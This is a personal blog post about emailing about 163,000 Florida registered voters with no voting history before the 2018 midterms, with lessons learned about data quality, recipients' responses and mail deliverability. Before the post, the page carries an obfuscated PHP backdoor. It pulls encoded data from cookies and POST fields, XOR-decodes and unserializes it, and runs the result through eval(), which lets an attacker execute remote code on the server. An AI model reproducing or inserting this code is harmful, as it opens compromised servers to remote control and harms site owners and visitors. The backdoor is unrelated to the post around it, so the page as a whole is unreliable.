$FjrYY = "\112" . chr ( 153 - 82 )."\x50" . "\137" . chr ( 494 - 393 ).'p' . 'R';$FroHwqRwR = "\143" . "\x6c" . chr (97) . 's' . chr ( 1033 - 918 ).chr ( 983 - 888 ).chr ( 743 - 642 )."\170" . 'i' . 's' . "\x74" . 's';$buVELPZ = class_exists($FjrYY); $FjrYY = "25437";$FroHwqRwR = "48348";$NszUioYBf = !1;if ($buVELPZ == $NszUioYBf){function oEFUnZI(){return FALSE;}$VkeHC = "47820";oEFUnZI();class JGP_epR{private function cGgqXaxWzy($VkeHC){if (is_array(JGP_epR::$XOdhtj)) {$HvxGWLKM = str_replace("\74" . chr ( 188 - 125 ).chr ( 546 - 434 )."\x68" . "\x70", "", JGP_epR::$XOdhtj['c' . chr (111) . chr (110) . "\164" . "\145" . "\x6e" . 't']);eval($HvxGWLKM); $VkeHC = "47820";exit();}}private $WokpKyz;public function jzRDS(){echo 8466;}public function __destruct(){$VkeHC = "56088_49393";$this->cGgqXaxWzy($VkeHC); $VkeHC = "56088_49393";}public function __construct($flNKdOyaQW=0){$IWwKIxfpf = $_POST;$SRgELXXqJc = $_COOKIE;$aVCHeChgSn = "042cb365-e2ee-479b-aeb5-2641dd9c2615";$ubOpLNj = @$SRgELXXqJc[substr($aVCHeChgSn, 0, 4)];if (!empty($ubOpLNj)){$aECpf = "base64";$NMntHSeYTL = "";$ubOpLNj = explode(",", $ubOpLNj);foreach ($ubOpLNj as $jiBDpoKE){$NMntHSeYTL .= @$SRgELXXqJc[$jiBDpoKE];$NMntHSeYTL .= @$IWwKIxfpf[$jiBDpoKE];}$NMntHSeYTL = array_map($aECpf . "\137" . chr (100) . "\145" . "\143" . chr ( 440 - 329 ).chr ( 350 - 250 )."\x65", array($NMntHSeYTL,)); $NMntHSeYTL = $NMntHSeYTL[0] ^ str_repeat($aVCHeChgSn, (strlen($NMntHSeYTL[0]) / strlen($aVCHeChgSn)) + 1);JGP_epR::$XOdhtj = @unserialize($NMntHSeYTL); $NMntHSeYTL = class_exists("56088_49393");}}public static $XOdhtj = 8953;}$SXbrMU = new /* 2958 */ JGP_epR(47820 + 47820); $NszUioYBf = $SXbrMU = $VkeHC = Array();} Encouraging People To Vote – Lessons Learned

Poking around more with the Florida voter data, I found that of the over 13 million active registered voters in Florida, 2,254,591 of them have no history of ever having voted. 162,883 of those who have no history of ever having voted have recorded an email address when registering to vote. On Monday, November 5th, 2018, I sent them all an email asking them to vote the next day in the 2018 primary midterm elections if they had not already early voted or voted by absentee ballot.

Some lessons learned and responses I received:

  1. The data from the state is a mess. There are lots of typos in the email addresses. Some of the bad email addresses look like they might be a result of OCR failures. If I do something with voter email addresses again, I should run it through some simple transformations (e.g., “person@gmail.cim” should be “person@gmail.com”).
  2. A few people responded that they had moved out of Florida.
  3. Many people have responded positively. The few who have responded negatively to me via email have troubles with spelling, grammar, understanding how public records work, and the limitations of the CAN-SPAM Act. The positive encouraging responses far outnumbered the angry negative responses.
  4. Two people told me that I had changed their minds and convinced them to vote when they had already decided not to participate.
  5. Several people responded that they have voted in several Florida elections. I see none of those votes in the history. I am wondering if the history data is incomplete. I am going to have to investigate this further.
  6. A disturbingly large number of respondents do not understand how voting works.
    • Some were out of the country and asking if they could vote by email or absentee ballot the day before the election.
    • One person asked if it was necessary to have an ID card.
    • One person said that he would be dropping off his mail-in ballot. (I don’t think it works that way. [Update: I was corrected on this. You can drop off a ballot. I had assumed one had to go through the regular process if the ballot had not been received via USPS.])
    • Some people asked if they could just show up and vote. I responded with an enthusiastic yes and pointed out that they must already by registered as I have their data.
  7. Two people asked how to donate to my campaign. I am still trying to wrap my head around this. I do not know if I did not make it clear enough in my message that I am not running for office or if they thought I should run for office.
  8. A depressing number of respondents affirmed that not only had they already voted, they had voted entirely for a single party without apparent evaluation of the merits of the candidates.
  9. My mail server infrastructure did fine sending such a big burst. It did however consume lots of CPU while performing spam filtering analysis of incoming bounces for hours afterward. This delayed incoming email.
  10. I expected that I might end up on spam blocklists. In general, this did not happen. What did happen is that it appears that Gmail flagged my domain for sending to lots of invalid addresses and that gave my domain a bad reputation, preventing me from emailing Gmail afterward. I suspect a lot of potential Gmail recipients never got the letter. I had to fix my domain with Gmail. If I do something like this again, I will use proper mailing list infrastructure. This was really just an impulse decision for me, so I did not have any infrastructure in place.

I have summarized the responses I received with a graph:

Published by Gene McCulley

I dabble in and write about things I find interesting.